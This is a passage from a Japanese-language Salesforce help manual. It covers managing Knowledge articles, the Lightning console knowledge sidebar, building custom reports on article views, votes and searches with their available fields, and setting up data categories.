Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

Lightning Experience のナレッジホームと記事レコードホームからナレッジ記事を
管理します。
各記事の横にあるドロップダウンを使用して、ナレッジホームと記事レコード
ホームの作成アクションにすばやくアクセスできます。システム管理者、エー
ジェント、および適切なプロファイル権限を持つ社内従業員は、これらのアク
ションを実行できます。
ナレッジホームの公開記事リストビューでは、次の操作を実行できます。
• 記事を作成する
• 記事をアーカイブする
• 記事を新しいドラフトとして編集する
ナレッジホームの記事ドラフトリストビューでは、次の操作を実行できます。
• 記事を作成する
• ドラフトを公開する
• 記事を削除する
• 記事を編集する
ナレッジホームのアーカイブ済み記事リストビューでは、次の操作を実行でき
ます。
• 記事を作成する
• アーカイブされた記事を復元する
記事レコードホームでは、レコードタイプページレイアウトで使用可能な作成アクションを制御できます。さ
らに、次のコンポーネントをレコードホームに追加できます。
• 評価: 自動的に有効になります。
• ファイル: レコードタイプページレイアウトに [ファイル] 関連リストを追加します。
• バージョン: [ナレッジオブジェクト設定] で [項目履歴管理] および [項目履歴管理の設定] を選択します。こ

れらのオプションにより、ナレッジユーザがバージョンコンポーネントで記事バージョン履歴と項目の変
更を表示できます。

• データカテゴリビューアとデータカテゴリ選択機能: 適切なナレッジユーザにナレッジに対する「編集」ア
クセス権を付与し、記事のデータカテゴリを参照および変更できるようにします。
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Lightning サービスコンソールのナレッジサイドバーの使用

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce ナレッジを使用
可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ナレッジサイドバーを使用すると、エージェントは知識ベースに接続しながら、
コンソールで作業を行うことができます。表示しているケースの推奨記事を参
照したり、検索を実行して他の記事を見つけたりできます。サイドバーを使用
して、記事のケースへの添付 (またはケースからの削除)、記事のフォローとフォ
ロー解除、およびナレッジ内での検索を行うことができます。
ナレッジサイドバーでは、エージェントがケースに関連するナレッジ記事をす
ばやく検索し、ケースへの記事の添付などの基本的なアクションをいくつか実
行できます。
推奨記事

推奨記事がナレッジバーに直接表示されるため、エージェントは検索を実行
せずに関連記事を見つけることができます。推奨記事は、Lightning Knowledge

が有効化されると自動的に有効になります。
検索および結果の並び替え

サイドバーの検索ボックスを使用して、ナレッジ検索を実行します。必要に
応じて、事前に絞り込むために高度な検索を使用し、表示される検索結果を
絞り込みます。
検索結果を並び替えるには、並び替えアイコンをクリックし、リストから並
び替えオプションを選択します。検索結果は、関連性、公開日 (公開記事)、
最終更新日 (記事ドラフト)、A ～ Z、Z ～ A で並び替えることができます。並び替えは、推奨記事には適用
されません。
デフォルトでは、記事は関連性で並び替えられています。推奨記事に戻ったり新規ケースに移動したりす
ると、関連性による並び替え順にリセットされます。

サイドバーでの記事の添付と削除
エージェントは記事の横にあるドロップダウンを使用して、ケースにナレッジ記事を添付したり削除した
りできます。

サイドバーでのフォローとフォロー解除
エージェントは記事の横にあるドロップダウンを使用して、サイドバーから記事をフォローしたりフォロー
解除したりできます。記事をフォローすると、エージェントは後で読みたい記事を保存できます。
システム管理者、エージェント、およびナレッジへの参照アクセス権を持つ社内従業員は、公開済みやド
ラフトなどのすべての状態の記事をフォローできます。ナレッジユーザが記事のフォローとフォロー解除
を行えるようにするには、[設定] > [Chatter] > [フィード追跡] でフィード追跡を有効にします。

ナレッジサイドバーは、サンプル Lightning サービスコンソールに自動的に追加されます。カスタム Lightning

サービスコンソールにナレッジサイドバーを追加するには、Lightning アプリケーションビルダーで選択した項
目にナレッジを追加します。

ヒント: ナレッジサイドバーはコンソールのみに制限されていません。Lightning アプリケーションビルダー
を使用して、Lightning ケースレコードホームに追加できます。
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Salesforce ナレッジ記事に関するレポート

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

カスタムレポートタイプ
を作成または更新する
• 「カスタムレポートタ

イプの管理」

公開レポートフォルダを
作成する
• 「公開レポートの管

理」

Salesforce ナレッジカスタムレポートを使用して、記事の作成、メンテナンス、
および配信状況を追跡できます。
システム管理者は、カスタムレポートタイプを作成できます。これによりエー
ジェントが、Salesforce ナレッジ記事に関するレポートを作成できます。カスタ
ムレポートタイプによってのみ、閲覧者が使用できる記事に関するレポートを
作成できます。Salesforce では、サンプル記事レポートや、記事の標準レポート
フォルダは提供されません。

ヒント: 知識ベースのダッシュボードおよびレポート AppExchange パッケー
ジでは、知識ベースを監視し、利用状況総計値の分析に役立つ 20 数個のレ
ポートを提供します。

1. 記事レポートのフォルダの作成
公開フォルダを作成し、ユーザ用の記事レポートを保管します。

2. 記事レポート
カスタムレポートタイプを作成して、Salesforce ナレッジ記事データに関して
レポートします。

3. 記事レポートの作成
Salesforce ナレッジ記事に関するカスタムレポートを実行して、記事レポート
フォルダに保存します。

4. Salesforce ナレッジレポートで使用可能な項目
ナレッジレポートで使用できる項目は、レポートに使用する情報の種別に
よって異なります。
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記事レポートのフォルダの作成

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

カスタムレポートタイプ
を作成または更新する
• 「カスタムレポートタ

イプの管理」

公開レポートフォルダを
作成する
• 「公開レポートの管

理」

公開フォルダを作成し、ユーザ用の記事レポートを保管します。
1. [レポート] タブの [レポートフォルダ] セクションで、[新規フォルダの作成]

をクリックします。
2. [フォルダ表示ラベル] 項目に「記事レポート」と入力します。
3. 必要に応じて、[グループの一意の名前] を変更します。
4. [公開フォルダのアクセス権] を選択します。

ユーザにレポートの追加と削除ができるようにするには、[参照・更新] を選
択します。

5. フォルダの利用者オプションを選択します。
6. [保存] をクリックします。
このフォルダに保存したレポートは、[レポート] タブに表示されます。

3470

Salesforce ナレッジの概要カスタマーサポートツールの設定および管理



記事レポート

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

カスタムレポートタイプ
を作成または更新する
• 「カスタムレポートタ

イプの管理」

公開レポートフォルダを
作成する
• 「公開レポートの管

理」

カスタムレポートタイプを作成して、Salesforce ナレッジ記事データに関してレ
ポートします。
カスタムレポートを作成する手順は、次のとおりです。
1. [設定] から、[クイック検索]ボックスに「レポートタイプ」と入力し、[レポー

トタイプ] を選択して、[新規カスタムレポートタイプ] をクリックします。
「カスタムレポートタイプの作成」 (ページ 466)を参照してください。

2. [主オブジェクト] ドロップダウンリストで、レポートを作成する記事関連オ
ブジェクトを選択します。

説明主オブジェクト

作成日、公開チャネル、および FAQ のようなカス
タム記事タイプに関連するケースの数などの情報
を比較します。カスタム記事タイプの履歴項目や
カスタム項目にアクセスするには、記事タイプの
バージョンを第 2 オブジェクトとして追加しま
す。

記事タイプ (Classic ナレッ
ジのみ)

作成日、公開チャネル、関連ケース数など、各記
事に関する情報を比較します。このカスタムレ
ポートタイプを選択すると、記事の表示と投票に
関する統計情報も含めることができます。ナレッ
ジ記事の主オブジェクトを使用するレポートで
は、記事ごとに 5 つのレコード (行)、チャネル (す
べてのチャネル、内部アプリケーション、カスタ
マー、パートナー、公開知識ベース) ごとに 1 つ
のレコードが割り当てられています。

ナレッジ記事

チャネルおよびロールごとに 1 日、1 か月、1 年の
単位で検索数を分析します。

ナレッジ記事の検索

作成日、公開チャネル、関連ケース数など、各翻
訳に関する情報を比較します。このカスタムレ

ナレッジ記事のバージョ
ン

ポートタイプを選択すると、記事の表示と投票に
関する統計情報も含めることができます。

作成日、公開チャネル、関連ケース数など、各記
事バージョンに関する情報を比較します。

記事バージョン履歴

チャネルおよびロールごとに 1 日、1 か月、1 年の
単位で表示数を分析します。

ナレッジ記事ビュー

チャネルおよびロールごとに 1 日、1 か月、1 年の
単位で投票数を分析します。

ナレッジ記事の投票
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知識ベースの検索に使用されているキーワードを表示します。ナレッジのキーワード検索

ナレッジ検索活動 • チャネルおよび言語ごとに 1 日、1 か月、または 1 年単位で検索数
を分析します。

• 検索ごとに、次の内容が表示されます。
– 日付
– クリックされた記事の ID とタイトル

• 知識ベースの検索に使用されているキーワードを表示します。
• キーワードごとに、次の平均値が表示されます。

– 結果
– 検索結果に表示される記事

• 記事ごとに、次の平均値が表示されます。
– クリック数
– クリックしたユニークユーザ数

3. 必要な項目を入力して [保存] をクリックします。
[カテゴリ] ドロップダウンメニューの [保存] で、[カスタマーサポートレポート] または [その他のレポート]

を選択することをお勧めします。このカテゴリでは、[レポート] タブでカスタムレポートタイプを検索し
ます。

4. [レポートレコードセットを定義] ページで必要な選択を行います。

使用可能な第 2 オブジェクト主オブジェクト

記事タイプのバージョン記事タイプ (Classic ナレッジのみ)

記事ビューの統計、記事投票の統計、ケース記事ナレッジ記事

なしナレッジ記事の検索

記事ビューの統計、記事投票の統計ナレッジ記事のバージョン

なし記事バージョン履歴

なしナレッジ記事ビュー

なしナレッジ記事の投票

なしナレッジのキーワード検索

なしナレッジ検索活動

5. [保存] をクリックします。
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6. 必要に応じて、レポートレイアウトから項目を削除し、並び替えます。
主オブジェクトで使用可能な項目についての詳細は、「Salesforce ナレッジレポートで使用可能な項目」
(ページ 4868)を参照してください。

メモ: 記事のスコアの API での計算は、カスタムレポートでは若干異なります。どちらか一方で標準化
し、両方は使用しないようにすることをお勧めします。

記事レポートの作成

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

カスタムレポートタイプ
を作成または更新する
• 「カスタムレポートタ

イプの管理」

公開レポートフォルダを
作成する
• 「公開レポートの管

理」

Salesforce ナレッジ記事に関するカスタムレポートを実行して、記事レポートフォ
ルダに保存します。
カスタムレポートタイプを使用して、記事レポートを作成し、それを記事レポー
トフォルダに保存します。
1. [レポート] タブで、[新規レポート] をクリックします。
2. [カスタマーサポートレポート] または [その他のレポート] など、カスタムレ

ポートタイプを保存するカテゴリを選択します。
記事レポートがあるケースは、デフォルトでカスタマーサポートレポート
フォルダで使用可能です。

3. レポートタイプを検索し、[作成] をクリックします。
4. レポートを参照するとき、そのレポートを他のユーザにも使用可能にする場

合は、[別名で保存] をクリックし、レポートを新しい「記事レポート」フォ
ルダに保存します。

メモ:

• ナレッジ記事カスタムレポートタイプを使用するレポートでは、記事ご
とに 5 つの行が割り当てられています (「すべてのチャネル」を含む、
チャネルごとに 1 つの行)。

• 毎日の値は過去 90 日間、毎月の値は過去 18 か月間にわたって独立して
報告されます。この期間が経過したら、それぞれ毎月および毎年の集計
値を使用します。

• ナレッジ記事投票、ナレッジ記事ビュー、ナレッジ記事検索カスタムレ
ポートタイプを使用するレポートの、各レコード (行) は 1 日、チャネ
ル、ロールの組み合わせを表示します。たとえば、Kingmaker ロールを持
つ閲覧者が内部アプリケーションの記事を参照し、次の日同じ閲覧者が
内部アプリケーションでさらに記事を参照した場合、記事ビューレポー
トには、2 つの行が記載されます。それぞれ一意の日付を示します。

• ナレッジの記事バージョン履歴を除く、ナレッジの記事バージョン (KAV)

を使用するレポートでは、データカテゴリで絞り込むことができます。
最大 4 個の検索条件を追加し、ロジックを「AT」、「ABOVE」、
「BELOW」、「ABOVE OR BELOW」に設定できます。検索条件間のロジッ
クは、「OR」です。同じカテゴリグループを複数回使用できますが、毎
回同じ演算子を使用する必要があります。
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• ナレッジ記事の承認プロセスについてレポートするには、カスタムレポートタイプを作成するときに
[プロセスインスタンス] および [プロセスインスタンスノード] を使用します。次に、記事タイプであ
るオブジェクト種別に関するレポートを絞り込みます。

Salesforce ナレッジレポートで使用可能な項目

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce ナレッジを使用
可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

カスタムレポートタイプ
を作成または更新する
• 「カスタムレポートタ

イプの管理」

公開レポートフォルダを
作成する
• 「公開レポートの管

理」

ナレッジレポートで使用できる項目は、レポートに使用する情報の種別によっ
て異なります。
次の表には、Salesforce ナレッジレポートの主オブジェクトごとに使用可能な項
目が表示されています。

記事タイプ (Classic ナレッジのみ) レポートで使用可能な項目
記事タイプの主オブジェクトを使用して、記事タイプバージョンの第 2 オブジェ
クトを追加できます。

表 49 : 記事タイプレポートの主オブジェクト項目
説明項目

記事をアーカイブしたユーザ。アーカイブ作成者

記事がアーカイブされた日付。アーカイブ日

記事に自動的に割り当てられる固有番号。記事番号

記事タイプに関連付けられた ID。記事タイプ ID

記事に添付されたケース数。ケース関連付け件数

記事を作成したユーザ。作成者

現在の記事バージョンが作成された日付。記事が 2 回以
上公開された場合、これがドラフトの最新の日付にな
ります。記事バージョンの元の作成日を使用するレポー
トを作成するには、まず、ナレッジ記事バージョンレ
コードの作成日ではなく、ナレッジ記事オブジェクト
レコードの作成日を使用できるようにするため、特定
の記事タイプのナレッジ記事 (__ka) オブジェクトとナ
レッジ記事バージョン (__kav) オブジェクトを結合する
カスタムレポートタイプを作成します。

作成日

記事タイプに作成されたカスタム項目。記事タイプの
バージョンを第 2 オブジェクトとして追加し、記事タイ
プのカスタム項目にアクセスします。

カスタム項目

記事が初めて公開された日付。初公開日

記事のバージョン番号。ナレッジの記事バー
ジョン

3474

Salesforce ナレッジの概要カスタマーサポートツールの設定および管理



説明項目

最近記事を変更したユーザ。最終更新者

記事が最後に変更された日付。ドラフト記事の最終更新日は、ドラフトが保
存された日付です。公開記事の最終更新日は、記事が最後に公開された日付
です。

最終更新日

記事が最後に公開された日付。最終公開日

記事の元の言語。マスタ言語

メモ: 現在、同じレポートで [ナレッジ記事のバージョン]と [最終更新日]を使用することはできません。

表 50 : 記事タイプレポートの第 2 オブジェクト項目
説明項目

記事をアーカイブしたユーザ。アーカイブ作成者

記事に関連付けられた記事タイプ。記事タイプ

記事を作成したユーザ。作成者

現在の記事バージョンが作成された日付。記事が 2 回以上公開された場合、
これがドラフトの最新の日付になります。記事バージョンの元の作成日を使

作成日

用するレポートを作成するには、まず、ナレッジ記事バージョンレコードの
作成日ではなく、ナレッジ記事オブジェクトレコードの作成日を使用できる
ようにするため、特定の記事タイプのナレッジ記事 (__ka) オブジェクトとナ
レッジ記事バージョン (__kav) オブジェクトを結合するカスタムレポートタイ
プを作成します。

記事タイプに作成されたカスタム項目。記事タイプのバージョンを第 2 オブ
ジェクトとして追加し、記事タイプのカスタム項目にアクセスします。

カスタム項目

記事が最新バージョンであるかを示します。最新バージョン

記事が翻訳ではなく、元の記事であることを示します。マスタ言語

記事翻訳に自動的に割り当てられる一意の ID。ナレッジの記事バージョン ID

記事の言語。言語

最近記事を変更したユーザ。最終更新者

記事が最後に変更された日付。ドラフト記事の最終更新日は、ドラフトが保
存された日付です。公開記事の最終更新日は、記事が最後に公開された日付
です。

最終更新日

この翻訳が公開された後にマスタ記事が更新されていることを示します。変更あり
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説明項目

記事または翻訳が処理中 (ドラフト)、公開、またはアーカイブ済みであるこ
とを示します。

公開状況

著者が提供する記事の説明。概要

記事のタイトル。役職

翻訳が完了した日付。翻訳完了日

記事が翻訳用にエクスポートされた日付。翻訳エクスポート日

翻訳がインポートされた日付。翻訳インポート日

記事のハイパーリンクとして使用されるテキスト。URL 名

記事が有効かどうかを示します。検証状況

記事のバージョン番号。バージョン番号

記事がカスタマーポータルに公開されていることを示します。カスタマーに公開

記事が内部アプリケーション ([記事] タブ) に公開されていることを示します。内部アプリケーションに公開

記事がパートナーポータルに公開されていることを示します。パートナーに公開

記事が公開知識ベースに公開されていることを示します。公開知識ベースに公開

ナレッジ記事レポートで使用可能な項目

説明項目

記事に自動的に割り当てられる固有番号。記事番号

記事に関連付けられた記事タイプ。記事タイプ

記事に添付されたケース数。ケース関連付け件数

記事を作成したユーザ。作成者

現在の記事バージョンが作成された日付。記事が 2 回以上公開された場合、
これがドラフトの最新の日付になります。記事バージョンの元の作成日を使

作成日

用するレポートを作成するには、まず、ナレッジ記事バージョンレコードの
作成日ではなく、ナレッジ記事オブジェクトレコードの作成日を使用できる
ようにするため、特定の記事タイプのナレッジ記事 (__ka) オブジェクトとナ
レッジ記事バージョン (__kav) オブジェクトを結合するカスタムレポートタイ
プを作成します。

記事が初めて公開された日付。初公開日

記事が最新バージョンであるかを示します。最新バージョン
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説明項目

記事翻訳に自動的に割り当てられる一意の ID。ナレッジの記事バージョン ID

最近記事を変更したユーザ。最終更新者

記事が最後に変更された日付。ドラフト記事の最終更新日は、ドラフトが保
存された日付です。公開記事の最終更新日は、記事が最後に公開された日付
です。

最終更新日

記事が最後に公開された日付。最終公開日

著者が提供する記事の説明。概要

記事のタイトル。役職

記事のハイパーリンクとして使用されるテキスト。URL 名

記事が有効かどうかを示します。検証状況

記事のバージョン番号。バージョン番号

記事がカスタマーポータルに公開されていることを示します。カスタマーに公開

記事が内部アプリケーション ([記事] タブ) に公開されていることを示します。内部アプリケーションに公開

記事がパートナーポータルに公開されていることを示します。パートナーに公開

記事が公開知識ベースに公開されていることを示します。公開知識ベースに公開

ナレッジ記事の検索レポートで使用可能な項目

説明項目

記事に適用できるチャネル。使用できる値は、すべてのチャネル、内部アプリ
ケーション、顧客、パートナー、公開知識ベース です。

チャネル

表示される期間 (日、月、年) に適用できる記事検索の数。計

レコードの履歴に対する記事検索の合計数。累計

レコードに対して記事検索が実行された最終日。すべての行は、日付、チャ
ネル、およびロールの組み合わせを示します。

日付

検索カウントが適用される期間。使用できる値は、毎日、毎月、および毎年
です。たとえば、[計] が「70」で [期間] が [毎月] のレコードは、過去の月で

期間

70 の検索が実行されたことを意味します。合計は、当月分については毎日、
過去 1 か月～過去 1 年分については毎月、その後は毎年集計されます。

レコードに適用される役割名。レポート内の各行が、ロール、チャネルあた
りの検索を示しています。

関連ロール
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ナレッジ記事のバージョンレポートで使用可能な項目

説明項目

記事をアーカイブしたユーザ。アーカイブ作成者

記事がアーカイブされた日付。アーカイブ日

記事に自動的に割り当てられる固有番号。記事番号

記事に関連付けられた記事タイプ。記事タイプ

記事に添付されたケース数。ケース関連付け件数

記事を作成したユーザ。作成者

現在の記事バージョンが作成された日付。記事が 2 回以上公開された場合、
これがドラフトの最新の日付になります。記事バージョンの元の作成日を使

作成日

用するレポートを作成するには、まず、ナレッジ記事バージョンレコードの
作成日ではなく、ナレッジ記事オブジェクトレコードの作成日を使用できる
ようにするため、特定の記事タイプのナレッジ記事 (__ka) オブジェクトとナ
レッジ記事バージョン (__kav) オブジェクトを結合するカスタムレポートタイ
プを作成します。

記事が初めて公開された日付。初公開日

記事が最新バージョンであるかを示します。最新バージョン

記事が翻訳ではなく、元の記事であることを示します。マスタ言語

記事翻訳に自動的に割り当てられる一意の ID。ナレッジの記事バージョン ID

記事の言語。言語

最近記事を変更したユーザ。最終更新者

記事が最後に変更された日付。ドラフト記事の最終更新日は、ドラフトが保
存された日付です。公開記事の最終更新日は、記事が最後に公開された日付
です。

最終更新日

記事が最後に公開された日付。記事が最後に公開された日
付。

記事の元の言語。マスタ言語

この翻訳が公開された後にマスタ記事が更新されていることを示します。変更あり

記事または翻訳が処理中 (ドラフト)、公開、またはアーカイブ済みであるこ
とを示します。

公開状況

著者が提供する記事の説明。概要

記事のタイトル。役職
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説明項目

翻訳が完了した日付。翻訳完了日

記事が翻訳用にエクスポートされた日付。翻訳エクスポート日

翻訳がインポートされた日付。翻訳インポート日

記事のハイパーリンクとして使用されるテキスト。URL 名

記事が有効かどうかを示します。検証状況

記事のバージョン番号。バージョン番号

記事がカスタマーポータルに公開されていることを示します。カスタマーに公開

記事が内部アプリケーション ([記事] タブ) に公開されていることを示します。内部アプリケーションに公開

記事がパートナーポータルに公開されていることを示します。パートナーに公開

記事が公開知識ベースに公開されていることを示します。公開知識ベースに公開

ナレッジ記事ビューレポートで使用可能な項目
以下の 8 個の項目のうち最大 6 個を追加できます。

説明項目

記事に適用できるチャネル。使用できる値は、すべてのチャネル、内部アプリ
ケーション、顧客、パートナー、公開知識ベース です。

チャネル

表示される期間 (日、月、年) に適用できる記事ビューの数。計

レコードの履歴に対する記事ビューの合計数。累計

レコードに対して記事ビューが実行された最終日。すべての行は、日付、
チャネル、およびロールの組み合わせを示します。

日付

検索カウントが適用される期間。使用できる値は、毎日、毎月、および毎年
です。たとえば、[計] が「70」で [期間] が [毎月] のレコードは、過去の月で

期間

70 の検索が実行されたことを意味します。合計は、当月分については毎日、
過去 1 か月～過去 1 年分については毎月、その後は毎年集計されます。

レコードに適用される役割名。関連ロール

記事の平均ビュー評価。スコアには半減期が考慮されます。15 日ごとに、記
事が参照されなかった場合、平均評価は上下します。この計算は、長期間に

スコア

わたって古いまたは期限切れの記事が、より新しく頻繁に参照される記事に
比べて高評価または低評価を人為的に維持できないようにします。

公開済み記事が表示された回数。ビューの合計数
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ナレッジ記事の投票レポートで使用可能な項目

説明項目

記事に適用できるチャネル。使用できる値は、すべてのチャネル、内部アプリ
ケーション、顧客、パートナー、公開知識ベース です。

チャネル

表示される期間 (日、月、年) に適用できる記事投票の数。計

レコードの履歴に対する記事投票の合計数。累計

レコードに対して記事投票が実行された最終日。すべての行は、日付、チャ
ネル、およびロールの組み合わせを示します。

日付

検索カウントが適用される期間。使用できる値は、毎日、毎月、および毎年
です。たとえば、[計] が「70」で [期間] が [毎月] のレコードは、過去の月で

期間

70 の検索が実行されたことを意味します。合計は、当月分については毎日、
過去 1 か月～過去 1 年分については毎月、その後は毎年集計されます。

レコードに適用される役割名。関連ロール

ナレッジのキーワード検索レポートで使用可能な項目

説明項目

記事に適用できるチャネル。使用できる値は、すべてのチャネル、内部アプリ
ケーション、顧客、パートナー、公開知識ベース です。

チャネル

表示される期間 (日、月、年) に適用できるキーワード検索の数。計

レコードに対してキーワード検索が実行された最終日。すべての行は、日
付、チャネル、およびロールの組み合わせを示します。

日付

検索カウントが適用される期間。使用できる値は、毎日、毎月、および毎年
です。たとえば、[計] が「70」で [期間] が [毎月] のレコードは、過去の月で

期間

70 の検索が実行されたことを意味します。合計は、当月分については毎日、
過去 1 か月～過去 1 年分については毎月、その後は毎年集計されます。

知識ベースの検索中に、表示したキーワードが見つかったかどうかを示しま
す。

見つかりました

知識ベース内の公開記事の検索に使用する検索語。キーワード

ナレッジ検索活動レポートで使用可能な項目

説明項目

結果が関連性の順に並び替えられたとき、および閲覧者が検索結果のリスト
で記事をクリックしたときに、検索結果に記事が表示される順序。

平均クリック順位
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説明項目

記事に適用できるチャネル。使用できる値は、すべてのチャネル、内部アプリ
ケーション、顧客、パートナー、公開知識ベース です。

チャネル

閲覧者が検索結果を関連性の順に並べ替えたときに表示される、クリックさ
れた記事のタイトル。

クリックされた記事のタイトル

検索カウントが適用される期間。使用できる値は、毎日、毎月、および毎年
です。たとえば、[計] が「70」で [期間] が [毎月] のレコードは、過去の月で

期間

70 の検索が実行されたことを意味します。合計は、当月分については毎日、
過去 1 か月～過去 1 年分については毎月、その後は毎年集計されます。

メモ: 活動合計は夜間に収集されるため、リアルタイムではありませ
ん。

閲覧者の検索に適用される言語条件。言語

検索語に対して返された検索結果の数。[期間] も含めた場合は、指定した期
間に基づいてこの値が集計されます。

結果数

表示される期間 (日、月、年) の検索数。検索数

記事をクリックした個々のユーザ数。ユーザ数

検索の日付。検索の日付

知識ベース内の公開記事の検索に使用された検索語の最初の 100 文字。検索語

Lightning Knowledge 記事のデータカテゴリの定義

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce ナレッジを使用
可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ナレッジユーザと顧客が必要なものを見つけやすくなるように、データカテゴ
リとデータカテゴリグループを作成します。一部のデータカテゴリ情報はLightning

Knowledge に適用されません。
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Salesforce.com のデータカテゴリ

エディション

使用可能なエディション:
Salesforce Classic

データカテゴリとアン
サーを使用可能なエディ
ション: Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

データカテゴリは、Salesforce ナレッジ (記事と記事の翻訳)、アイデア、アンサー、
および Chatter アンサーで使用され、記事、質問、またはアイデアを分類して検
索できます。データカテゴリを使用して、特定の記事、質問、またはアイデア
のセットへのアクセスを制御できます。
Salesforce ナレッジではデータカテゴリを使用して記事を分類し、簡単に検索で
きるようにします。たとえば、営業地域や商品で記事を分類するには、[Sales

Regions (営業地域)] と [Products (商品)] という 2 つのカテゴリグループを作成しま
す。[Sales Regions (営業地域)] カテゴリグループでは、[All Sales Regions (全営業地域)]

を最上位として、第 2 レベルに [北米]、[アジア] というように、地理的階層を構
成することができます。[Products (商品] グループには、[すべての商品] を最上位
として、第 2 レベルに [電話]、[コンピュータ]、[プリンタ] を含めることができ
ます。

詳細データカテゴリの制限

カテゴリグループ 5 つ、
一度に有効にできるグ
ループ 3 つ

カテゴリグループ 5 つ、
一度に有効にできるグ
ループ 3 つ

最大データカテゴリグ
ループ数および有効な
データカテゴリグループ

1 つのデータカテゴリグ
ループに 100 個のカテゴ
リ

1 つのデータカテゴリグ
ループに 100 個のカテゴ
リ

データカテゴリグループ
あたりの最大カテゴリ数

1 つのデータカテゴリグ
ループ階層に 5 個のレベ
ル

1 つのデータカテゴリグ
ループ階層に 5 個のレベ
ル

データカテゴリグループ
階層あたりの最大レベル
数

記事に割り当てられた
データカテゴリグループ
の 8 個のデータカテゴリ

記事に割り当てられた
データカテゴリグループ
の 8 個のデータカテゴリ

記事に割り当てられた
データカテゴリグループ
の最大データカテゴリ数

アンサーゾーンでは、データカテゴリによって質問を整理し、見やすくすることができます。各ゾーンは、1

つのカテゴリグループをサポートします。たとえば、コンピュータメーカーの場合は、パフォーマンス型ラッ
プトップ、ポータブルラップトップ、ゲーム用デスクトップ、エンタープライズデスクトップの 4 つのカテゴ
リを持つ同階層カテゴリに [商品] カテゴリグループを作成します。[アンサー] タブで、ゾーンメンバーは、4

つのカテゴリのうち 1 つを各質問に割り当て、各質問に対する回答のカテゴリを参照できます。

例:

記事の論理的な分類
知識ベース管理者として、知識ベースの記事を論理階層に分類し、さらに業務に大きく影響する属性
を使用して記事を区別できます。
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質問への容易なアクセス
アンサー管理者は、[アンサー] タブに表示されるデータカテゴリを選択できます。ゾーンメンバーは、
質問にカテゴリのタグ付けをすることができます。他のメンバーが質問や回答を見つけやすくなりま
す。

記事および質問表示の管理
知識ベースまたはアンサーコミュニティ管理者として、ロール、権限セット、またはプロファイルを
カテゴリグループのカテゴリに対応付けて、記事または質問の表示を一元管理できます。記事または
質問を分類すると、表示権限があるユーザにその記事が自動的に表示されます。

記事の絞り込み検索
記事が論理カテゴリに分類されている場合、サポートエージェントとして、組織の知識ベースを絞り
込み検索して、必要な記事を迅速かつ簡単に特定できます。関連するすべての記事を表示できるよう
にするために、カテゴリによってフィルタ処理すると、カテゴリ階層にカテゴリの上下方向の相対を
含む幅広い結果を生み出します。たとえば、商品のカテゴリ階層のレベルが [すべての商品] > [コン
ピュータ] > [ラップトップ] > [ゲーム用ラップトップ] で、ラップトップの問題がある顧客をサポートし
ている場合、[ラップトップ] でフィルタ処理を行うと、[コンピュータ]、[すべての商品]、または [ゲー
ム用ラップトップ] で分類された記事の他、[ラップトップ] で分類された記事も返されます。すべての
商品の送料無料の提案や、ゲーム用ラップトップのアップグレードの提案のような、役に立つ関連記
事を認識しやすくなります (不適切な結果を回避するために、カテゴリのフィルタ処理では、同階層や
類似カテゴリのような非線形の相対関係は返しません。ラップトップの同階層であるデスクトップに
関する記事は表示されません)。

記事と質問のナビゲーション
エンドユーザとして、[記事] タブまたは [アンサー] タブのカテゴリを移動して、問題解決に必要な情
報を見つけることができます。

記事および質問のカテゴリグループの管理
組織に Salesforce ナレッジとアンサーコミュニティがある場合、個別のカテゴリグループを作成した
り、記事および質問に同じカテゴリグループを使用したりできます。

記事のデータカテゴリ
カテゴリグループは、一連のカテゴリのコンテナです。Salesforce ナレッジでは、[カテゴリの名前] ド
ロップダウンメニューに対応します。たとえば、[設定] の [データカテゴリ] ページ ([クイック検索]

ボックスに「データカテゴリ」と入力し、[データカテゴリ設定] を選択) を使用して [商品] というカテ
ゴリグループを作成し、有効にする場合、[記事の管理] タブ、記事の編集ページ、すべてのチャネル
の [記事] タブ、公開知識ベースに [商品] メニューが表示されます。
具体的に説明するために、下の図に知識ベース管理者が参照するラップトップの商談に関する記事の
ビューを示します。管理者は記事の編集ページを使用して、ラップトップに関する記事を、[商品] カ
テゴリグループの [ラップトップ] と [場所] カテゴリグループの [USA] に分類しています。
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[記事の管理] タブのラップトップの商談に関する記事

